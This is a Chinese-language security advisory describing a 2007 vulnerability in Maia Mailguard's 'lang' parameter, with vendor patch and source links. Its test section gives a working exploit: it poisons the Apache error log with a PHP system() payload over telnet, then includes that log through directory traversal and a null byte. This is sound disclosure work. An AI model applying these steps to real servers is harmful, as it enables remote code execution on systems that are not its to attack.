发布日期：2007-07-05
更新日期：2007-07-06

受影响系统：

Maia Mailguard <= 1.0.2

描述：

---

BUGTRAQ  ID: 24770

Maia Mailguard是用Perl和PHP编写的基于Web界面的管理系统，允许用户控制杀毒引擎和垃圾邮件过滤器处理邮件的方式。

Maia Mailguard实现上存在输入验证漏洞，远程攻击者可能利用此漏洞在用户机器上执行恶意代码。

Maia Mailguard没有正确地过滤用户输入中的lang变量，允许攻击者发布恶意命令执行目录遍历攻击，在受影响系统上执行任意代码。

<*来源：Adriel T. Desautels
  
  链接：http://marc.info/?l=bugtraq&m=118365723425374&w=2
        http://secunia.com/advisories/25951/
        http://www.maiamailguard.org/maia/ticket/479
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

1) 连接到80端口并发布get <CODE HERE>命令向httpd-error.log文件中注入代码：

the-wretched:~ simon$ telnet maiatest.snosoft.com 80
Trying 10.0.0.128...
Connected to maiatest.snosoft.com.
Escape character is '^]'.

get &ltpre>><?php system('ls -laf /var/log');?>

HTTP/1.1 400 Bad Request
Date: Wed, 20 Jun 2007 21:31:58 GMT
Server: Apache/1.3.37 (Unix) PHP/5.2.1 with Suhosin-Patch mod_ssl/2.8.28
OpenSSL/0.9.7e-p1
Connection: close
Content-Type: text/html; charset=iso-8859-1

2) 强制web应用程序读取日志文件便可执行代码：

the-wretched:~ simon$ wget http://maiatest.snosoft.com/maia/login.php?lang=../../../../../../../../../../../../../var/log/httpd-error.log%00.txt

建议：

---

厂商补丁：

Maia
----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.maiamailguard.org/maia/changeset/1184?format=diff&new=1184

浏览次数：3637
严重程度：0（网友投票）